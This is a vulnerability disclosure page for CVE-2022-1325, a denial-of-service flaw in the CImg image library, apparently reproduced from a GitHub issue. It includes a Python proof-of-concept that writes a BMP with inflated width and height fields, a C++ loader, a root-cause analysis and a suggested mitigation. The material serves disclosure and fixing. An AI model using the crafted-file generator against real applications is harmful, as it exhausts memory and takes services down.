Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-1325: Denial of service via RAM exhaustion in _load_bmp · Issue #343 · GreycLab/CImg

A flaw was found in Clmg, where with the help of a maliciously crafted pandore or bmp file with modified dx and dy header field values it is possible to trick the application into allocating huge buffer sizes like 64 Gigabyte upon reading the file from disk or from a virtual buffer.

CVE
#vulnerability#ios#mac#ubuntu#dos#c++

Description

Via a maliciously crafted pandore or bmp file with modified dx and dy header field values it is possible to trick the application into allocating huge buffer sizes like 64 Gigabyte upon reading the file from disk or from a virtual buffer.

Version

This does affect the newest Version of Cimg which is 3.10, commit 607aea7 as the time of writing.

Proof of Concept

Due to the fact that I cannot attach bmp files in this format, here is a small python script that will generate a bmp file with given dimmensions. Note that the final buffer size is calculated by multiplying the product of width and height by 3. This code snippet uses a sample value of 5 GB.

import struct

def write_size(dx,dy):
    x = struct.pack('I',dx)
    y = struct.pack('I',dy)
    
    min_bmp_head = list(
               b'BM\xf2Y\x03\x00\x00\x00\x00\x006\x04\x00\x00(\x00\x00\x00 \
               V\xa8\xab1\x02\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00 \
               \xbcU\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00 \
               \x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x03\x03'
                        )

    min_bmp_head[0x12] = x[0]
    min_bmp_head[0x13] = x[1]
    min_bmp_head[0x14] = x[2]
    min_bmp_head[0x15] = x[3]

    min_bmp_head[0x16] = y[0]
    min_bmp_head[0x17] = y[1]
    min_bmp_head[0x18] = y[2]
    min_bmp_head[0x19] = y[3]

    open('crash.bmp','wb').write(bytes(min_bmp_head))

write_size(833333334,2) # use these two parameters to control dx and dy of the image. 833333334,2 for 5 GB

then read the file via standard methods:

#define cimg_display 0
#include "CImg.h"
#include <iostream>

int main(int argc,const char* argv[]){

    if (argc < 2){
        printf("no img\n");
        exit(1);
    }

    cimg_library::CImg<unsigned char> img;
    img.assign(argv[1]);
}

The code was compiled with g++ version 9.4.0 on Ubuntu 9.4.0-1ubuntu1~20.04 via g++ test.cpp -o ./test -ljpeg -lpng

Root cause

line numbers refer to main branch with commit 927fee5

altough safe_size (line 11771) does check for overflows of the size_t type, it does allow very large values . One would think that the try/catch block try { _data = new T[siz]; } (line 11885) does not allow for allocations that are too big and would completely circumvent this attack but actually, allocations that are equal to the maximum available RAM of a system or even numbers that are a bit higher (I tested the 5 GB case on a 4GB RAM machine) will not thorw an exception like std::bad_alloc.

Impact

This vulnerability allows an attacker who can send images to an application to force an premature process exit and exhaust system memory, potentially leading to a full system denial of service.

Prevention

One could define a global constant that regulates the maximum value safe_size can return. The user then could change the default value depending on context.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907